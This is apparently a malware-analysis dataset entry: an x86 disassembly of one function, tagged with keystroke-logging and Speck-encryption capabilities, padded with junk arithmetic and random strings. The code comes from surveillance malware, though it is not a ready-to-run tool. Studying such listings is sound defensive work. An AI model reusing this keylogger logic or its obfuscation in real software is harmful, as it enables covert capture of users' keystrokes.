Function at 0x10036cfe
Capabilities:
Encrypt data using speck
Log keystrokes

Disassembly:
mov eax, 0x1005b01c
call fcn.10059d20
sub esp, 0x520
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0xa2]
push 0x5f5c
push eax
push 0x77db
push ecx
xor ebx, ebx
mov dword [ebp - 0x50], 4
mov edx, 0x55ed
mov byte [ebp - 0xa2], bl
mov cl, 1
call fcn.10035b5f
pop ecx
pop ecx
xor esi, esi
push 0x4d94
inc esi
push esi
call fcn.100359ca
mov eax, dword [0x100d8748]
xor edx, edx
inc edx
add esp, 0x10
test dl, al
jne 0x10036d96
or eax, edx
mov dword [0x100d8748], eax
mov dword [ebp - 4], ebx
mov dword [0x100d8740], ebx
mov dword [0x100d8744], ebx
call fcn.1003aff5
push 0x1005b2f4
mov dword [0x100d8740], eax
call fcn.10042505
or esi, 0xffffffff
xor edx, edx
pop ecx
mov dword [ebp - 4], esi
inc edx
jmp 0x10036d99
or esi, 0xffffffff
mov dword [ebp - 0x38], 0x9c3fbb4e
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x30], 0xfd06bde6
mov dword [ebp - 0x48], 0x18461e70
push 3
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x18], ebx
pop edi
jmp 0x10036dd8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x154], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10036dc7
cmp dword [ebp - 0x154], ebx
jne 0x10036dec
mov ecx, ebx
cmp dword [ebp - 0x38], ebx
je 0x10036dee
mov ecx, edx
mov eax, dword [ebp - 0x154]
imul eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x154], 0xfffc
mov eax, dword [ebp - 0x154]
sbb ecx, ecx
neg ecx
imul eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x38]
jl 0x10036e44
cmp dword [ebp - 0x48], ebx
jne 0x10036e44
mov edx, ebx
mov eax, dword [ebp - 0x154]
xor ecx, ecx
cmp edx, eax
setl cl
cmp byte [0x100d721a], 0
mov dword [ebp - 0x40], ecx
je 0x10036fd5
mov dword [ebp - 0x18], 0xd43
cmp dword [ebp - 0x18], 0xfdc
jle 0x10036edf
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov edi, ebx
xor esi, esi
mov dword [ebp - 0x38], edi
inc esi
mov eax, edi
mov dword [ebp - 0x30], 0x62cb
mov dword [ebp - 0x24], eax
mov edi, ebx
and eax, edi
lea ecx, [ebp - 0x4b8]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10036ea7
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x4b8]
call fcn.100038eb
mov eax, dword [ebp - 0x24]
inc edi
cmp edi, 0x4585
jl 0x10036e8d
dec eax
dec dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
jne 0x10036e8b
mov edi, dword [ebp - 0x38]
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x7889
jl 0x10036e7f
cmp dword [ebp - 0x18], 0xa2a
jge 0x10036ef3
push str.okogukny_esxjie_qclx_cqeprsuiy_nrsjchvq_ghqb_hwv_qymqc_rvsya
call fcn.1004252f
pop ecx
xor ecx, ecx
mov dword [ebp - 0x24], 0xc099a567
inc ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x20], ebx
jmp 0x10036f13
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6c], 0xcf57
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10036f05
mov dword [ebp - 0x20], ebx
jmp 0x10036f2e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x3a4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10036f1d
inc dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub ecx, 0xffff
neg ecx
sbb ecx, ecx
neg eax
inc ecx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x6c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], ebx
jne 0x10036f6b
cmp dword [ebp - 0x6c], ebx
je 0x10036f70
xor esi, esi
lea ebx, [esi + 1]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x6c]
push 7
setl cl
sub ecx, eax
xor eax, eax
cmp ecx, 0xa0c0e075
pop ecx
setne al
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
neg eax
sbb eax, eax
inc eax
inc edx
sub edx, eax
mov eax, dword [ebp - 0x6c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x398], ecx
mov ecx, dword [ebp - 0xc]
mov eax, 0x100d8740
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 0x100d721a
push ecx
mov edx, 0x53cd
call fcn.10036385
xor ecx, ecx
mov eax, 0x35a60c4
add esp, 0xc
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x48], 0x426c
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], ebx
jmp 0x10037032
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x134], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10037025
mov dword [ebp - 0x20], ebx
jmp 0x1003725c
mov dword [ebp - 0x1c], 0x5e1f
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x20], ebx
jne 0x1003705e
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], eax
jl 0x1003705a
mov eax, dword [ebp - 0x20]
mov edx, ebx
jmp 0x10037060
mov edx, ecx
mov eax, dword [ebp - 0x1c]
sub edx, eax
add edx, 0x5f2fe72d
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], ebx
jmp 0x10037250
mov dword [ebp - 0x24], 0xbc130268
xor edx, edx
mov dword [ebp - 0x1a0], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
test eax, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 0x259c42fa
jne 0x100370a5
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, 7
jne 0x100370df
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x134], esi
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x100371c3
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], 0x866ca241
mov dword [ebp - 0x34], 0x9515b845
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x134]
cmp dword [ebp - 0x24], ebx
je 0x10037121
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setl dl
sub edx, 0xf00d
mov dword [ebp - 0x38], edx
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x134]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
add edx, 0xcc6c
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, 0x8654
mov eax, dword [ebp + eax*4 - 0x134]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x134]
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor ebx, ebx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
jmp 0x1003724a
mov dword [ebp - 0x30], 0xbbe7
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], edi
jg 0x10037247
xor esi, esi
inc esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1a4]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a8], ecx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x18]
sub ecx, dword [ebp + eax*4 - 0x1ac]
je 0x1003722f
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1003723c
push 0x28fe
push 0x12f4
push esi
push 0x28c9
push 0xc80
push 0x46e6
call fcn.100366fd
add esp, 0x18
jmp 0x1003723c
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ac], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100371d5
or esi, 0xffffffff
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x1c]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x1c], ecx
jle 0x10037076
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffee
jg 0x10037040
mov dword [ebp - 0xc8], str._9_
lea edx, [ebp - 0x1e8]
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x5c], edi
push ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], edi
push 0x1d11
mov dword [ebp - 0x50], edi
push ecx
mov dword [ebp - 0x1e8], 0xc506d444
call fcn.10036385
add esp, 0xc
mov edi, 0x64f14790
push 0xc
pop edx
mov dword [ebp - 0x10c], edx
cmp edx, 0xe0
jge 0x1003757a
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x304], edi
mov dword [ebp - 0x300], edi
mov dword [ebp - 0x2fc], edi
mov dword [ebp - 0x2f8], edi
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x18], ebx
jmp 0x100372fa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x20c], 0x571177e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100372e9
xor esi, esi
inc esi
push 0xfffffffffffffff6
mov dword [ebp - 0x18], esi
pop esi
cmp dword [ebp - 0x18], ebx
jl 0x10037449
mov dword [ebp - 0x50], 0xa88e00f6
mov dword [ebp - 0x50], 0x21e9c96c
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x50], 0xee4e9120
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x38], 0x5d75
cmp dword [ebp - 0x38], 0x5ef2
jle 0x100373c8
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
mov ebx, 0x63a3
mov dword [ebp - 0x2c], eax
cdq
mov ecx, 0x10073998
push edx
push eax
call fcn.100034ac
mov eax, dword [ebp - 0x2c]
add eax, edi
mov dword [ebp - 0x2c], eax
dec ebx
jne 0x1003737a
inc edi
cmp edi, 0x63a0
jl 0x10037370
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x10cd
jl 0x10037369
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x74f1
jl 0x10037364
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0xfffffffffffffff6
mov edi, 0x64f14790
pop esi
mov dword [ebp - 4], 3
cmp dword [ebp - 0x38], 0x5ba5
jge 0x100373e7
mov edx, str.yaafa_ypdb_gurwqo_sgolhje_ubx_qtfdx_quxujln
mov ecx, 0x10073998
call fcn.10005649
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x20c]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x20c], ecx
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x20c]
mov ecx, dword [ebp - 0x48]
sub ecx, eax
mov dword [ebp - 0x2fc], ecx
dec dword [ebp - 0x18]
jmp 0x10037309
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ebp - 0x10c]
mov al, byte [ecx]
cmp al, byte [edx + ecx]
jne 0x10037624
push 0x347d
push ecx
push ebx
push ecx
lea eax, [ebp - 0x10c]
push eax
push ecx
lea ecx, [ebp - 0x114]
call fcn.10035839
mov dword [ebp - 0x18], 0xd05ba772
add esp, 0x18
mov dword [ebp - 0x1c], ebx
jmp 0x1003749b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x178], 0x7a66fe7d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003748a
mov dword [ebp - 0x1c], ebx
jmp 0x100374b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x26c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100374a6
mov dword [ebp - 0x1c], ebx
jmp 0x100374cb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x31c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100374be
mov eax, dword [ebp - 0x178]
xor edx, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x26c]
cmp eax, ecx
setg dl
cmp edx, 9
jne 0x1003751c
cmp dword [ebp - 0x18], ebx
jne 0x1003751c
mov edx, ebx
jmp 0x1003751f
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x59141a9
mov dword [ebp - 0x31c], ecx
setge al
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x174]
jge 0x10037556
cmp dword [ebp - 0x178], ebx
jne 0x10037556
mov edx, ebx
jmp 0x10037559
xor edx, edx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x50], 0xfffffffa
mov dword [ebp - 0x334], ebx
push 0xfffffffffffffffe
mov dword [ebp - 0xac], 0xfffffffd
mov dword [ebp - 0x28], 0xffffffe5
pop esi
cmp dword [ebp - 0x28], 0xe
jle 0x100377b2
mov dword [ebp - 0x20], 0xb13638ec
mov dword [ebp - 0x30], 0x9a01c77d
mov dword [ebp - 0x2c], 0x135f
cmp dword [ebp - 0x2c], 0x1419
jle 0x1003761f
mov ecx, ebx
xor esi, esi
mov dword [ebp - 0x24], ecx
inc esi
mov edi, ebx
mov eax, edi
xor eax, ecx
lea ecx, [ebp - 0x3ec]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100375f0
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x3ec]
call fcn.100038eb
mov ecx, dword [ebp - 0x24]
inc edi
cmp edi, 0x56a7
jl 0x100375d4
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x260d
jl 0x100375d2
push 0xfffffffffffffffe
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x1003763b
inc edx
jmp 0x100372a9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], 0xc4530722
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003762a
cmp dword [ebp - 0x2c], 0x10ad
jge 0x10037655
push str.hzapskhu_zytbxozqw_uyiyhhjt_nasldi_sekdvkyk_kpsyu_lboogm_zjev_sewjuv_feqw_oaggvar_tvmp_bwu_nvzbzhq
call fcn.1004252f
pop ecx
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1003766e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10037661
mov dword [ebp - 0x20], ebx
jmp 0x1003773b
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x50], 0xbd0a7084
mov dword [ebp - 0x50], 0x985589b5
mov dword [ebp - 0x18], ebx
jmp 0x100376f1
mov dword [ebp - 0x24], 0x7c7a
mov dword [ebp - 0x1c], ebx
jmp 0x100376b2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3bc], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100376a1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x258]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x258], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x3b0], eax
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x30], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10037695
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x10037735
push ecx
push ecx
push 0x5aef
push 0x5a23
push 0x378f
push ecx
push 0x6391
push 0x67de
push 0x4d22
push ecx
push ecx
push 0x1266
mov edx, 0x3ecf
call fcn.10035bbf
add esp, 0x30
inc dword [ebp - 0x20]
push 1
pop ecx
cmp dword [ebp - 0x20], 0x1b
je 0x1003767b
cmp dword [ebp - 0xe4], ebx
jne 0x10037753
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
cmp eax, 0x7c29
setge cl
xor edx, edx
cmp ecx, 4
sete dl
sub edx, dword [ebp - 0x254]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
sub eax, edx
lea edx, [ebp - 0x9d]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe4]
xor eax, eax
mov byte [ebp - 0x9d], bl
inc eax
push eax
push ebx
mov cl, al
call fcn.1003504b
inc dword [ebp - 0x28]
pop ecx
pop ecx
jmp 0x100375a2
mov dword [ebp - 0xac], ebx
cmp dword [ebp - 0xac], 0xfffffff1
jge 0x100377fa
xor ebx, ebx
push 0xfffffffffffffff6
inc ebx
pop esi
mov dword [ebp - 0x28], 0x15
jmp 0x100377e4
push ebx
push 0x4e99
xor dl, dl
mov cl, bl
call fcn.10036854
dec dword [ebp - 0x28]
pop ecx
pop ecx
cmp dword [ebp - 0x28], esi
jge 0x100377d0
dec dword [ebp - 0xac]
cmp dword [ebp - 0xac], 0xfffffff1
jl 0x100377c7
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x1e0], 4
inc esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0xd0], 0xcbed562b
mov dword [ebp - 0x100], 0xfffffff6
mov dword [ebp - 0x30], 0x300a
cmp dword [ebp - 0x30], 0x31bb
jle 0x100378bc
push ebx
push 0x91e
push 0x1ac6
push 0x16d7
push 0xc35
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, edi
mov dword [ebp - 0x48], ebx
sar eax, cl
mov edi, ebx
mov dword [ebp - 0x40], eax
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x4e8]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003787f
mov eax, dword [eax]
push eax
call fcn.1004252f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x4e8]
call fcn.100038eb
mov eax, dword [ebp - 0x40]
inc edi
cmp edi, 0x2018
jl 0x10037863
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x2009
jl 0x10037857
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x5bb4
jl 0x10037852
mov dword [ebp - 0x60], 0xfffffff5
cmp dword [ebp - 0x60], 0xfffffffb
jl 0x10037a25
mov edi, 0xe6e83846
mov dword [ebp - 0x19c], edi
mov dword [ebp - 0x198], edi
mov dword [ebp - 0x194], edi
mov dword [ebp - 0x190], edi
mov dword [ebp - 0x2c], 0x25155467
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x18], ebx
jmp 0x1003790e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x29c], 0x300d3b51
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100378fd
mov eax, dword [ebp - 0x198]
xor ecx, ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x190]
mov eax, dword [ebp - 0x60]
sub edx, eax
mov eax, dword [ebp - 0x198]
cmp edx, eax
mov edx, 0xe8f2
setne cl
mov dword [ebp - 0x100], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x60]
cmp eax, esi
setle cl
sub edx, ecx
mov dword [ebp - 0x29c], ecx
mov eax, dword [ebp - 0x190]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x60]
cmp ecx, eax
setg dl
cmp dword [ebp - 0x198], edx
je 0x10037a02
push 0x1f07
push ebx
push 0x59ee
push ebx
mov dl, 1
mov dword [ebp - 0x1c8], 5
mov ecx, 0x5c92
call fcn.100369da
add esp, 0x10
lea eax, [ebp - 0x60]
mov edx, 0x36b9
push eax
push ecx
push 0x22b3
push 1
lea eax, [ebp - 0x1c8]
push eax
push ecx
lea eax, [ebp - 0xd0]
mov ecx, 0x4ab4
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.10033f9b
xor esi, esi
add esp, 0x20
inc esi
jmp 0x10037a18
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x29c], ecx
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], 0xfffffffb
jge 0x100378d2
cmp dword [ebp - 0x30], 0x2d86
jge 0x10037a39
push str.edlzr_qapk_vlebnk_sccwcg_isz_wtc
call fcn.1004252f
pop ecx
or dword [ebp - 4], 0xffffffff
mov al, byte [0x10070be0]
mov dword [ebp - 0x140], 0x10070be0
mov byte [ebp - 0x61], al
mov dword [ebp - 0x24], 0x7f40
cmp dword [ebp - 0x24], 0x8095
jle 0x10037aca
mov edi, ebx
mov dword [ebp - 0x38], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x30], 0x5276
cdq
idiv esi
mov dword [ebp - 0x2c], edx
mov edi, ebx
mov ebx, dword [ebp - 0x2c]
mov eax, edi
mov ecx, 0x10073998
or eax, ebx
cdq
push edx
push eax
call fcn.100034ac
inc edi
cmp edi, 0x5a3e
jl 0x10037a7a
dec ebx
dec dword [ebp - 0x30]
push 0
mov dword [ebp - 0x2c], ebx
pop ebx
jne 0x10037a75
mov edi, dword [ebp - 0x38]
inc esi
cmp esi, 0x6e84
jl 0x10037a66
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x7f6
jl 0x10037a64
push 0x2295
push ebx
push 0x1a6c
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0xc8]
mov cl, byte [0x10070be0]
mov dl, byte [eax]
call fcn.1003b020
mov dword [ebp - 4], 9
cmp dword [ebp - 0x24], 0x7d9d
mov byte [0x10070be0], al
jge 0x10037b1f
mov edx, str.xhwzhy_yonwf_mrxuy_zgc
mov ecx, 0x10073998
call fcn.10005649
jmp 0x10037b1f
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc8]
inc eax
mov esi, dword [ebp - 0x114]
mov edi, eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], esi
jmp 0x10037b3f
xor eax, eax
inc eax
push 0x51d4
push ecx
push ecx
mov dword [ebp - 0x1f8], 0x9bdba76a
mov edx, 0x76e0
mov dword [ebp - 0x1d0], 0xb2ab76d6
push 0x5972
mov dword [ebp - 0x21c], 2
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x1f8]
push eax
push ecx
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x50], 7
push eax
push 0x11fa
push ebx
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.10036b34
mov eax, edi
mov cl, byte [edi + 0x10070be0]
cdq
idiv esi
mov byte [ebp - 0x9f], cl
mov esi, edx
mov dl, byte [ebp - 0x61]
call fcn.1003b020
mov ecx, dword [ebp - 0x48]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.1003b020
add esp, 0x24
mov byte [edi + 0x10070be0], al
lea eax, [ebp - 0x61]
lea edx, [ebp - 0x9f]
push eax
push 1
push 0x3e4c
push ecx
call fcn.10033f82
mov esi, dword [ebp - 0x40]
add esp, 0x14
inc edi
cmp edi, 4
jl 0x10037b3c
sub esp, 0x10
mov dword [ebp - 0xb8], ebx
mov ecx, 0xed6
push 1
call fcn.10036afc
mov dword [ebp - 0x2c], 0x7a0
add esp, 0x14
cmp dword [ebp - 0x2c], 0xb42
jle 0x10037c56
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x48], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10073998
xor eax, edi
cdq
push edx
push eax
call fcn.100034ac
inc ebx
cmp ebx, 0x13aa
jl 0x10037c23
inc esi
push 0
pop ebx
cmp esi, 0x667e
jl 0x10037c20
inc edi
cmp edi, 0x1006
jl 0x10037c1e
mov dword [ebp - 0xb8], ebx
jmp 0x10037c98
lea eax, [ebp - 0x214]
mov dword [ebp - 0x1d8], ebx
push eax
push 0x10e0
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x214], 0xfffffffe
push eax
push ecx
lea edx, [ebp - 0xb8]
xor cl, cl
call fcn.10035b5f
add esp, 0x10
dec dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 0xffffffeb
jl 0x10037c5e
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x2c], 0x58c
jge 0x10037cc0
mov edx, str.jiwzx_lmstf_nmvaq_vwkljka_ibhucf_zpvz_wcxgdentj
mov ecx, 0x10073998
call fcn.10005649
or edi, 0xffffffff
sub esp, 0x18
mov dword [ebp - 4], edi
mov eax, dword [0x10070be0]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x28], 0x47dfa860
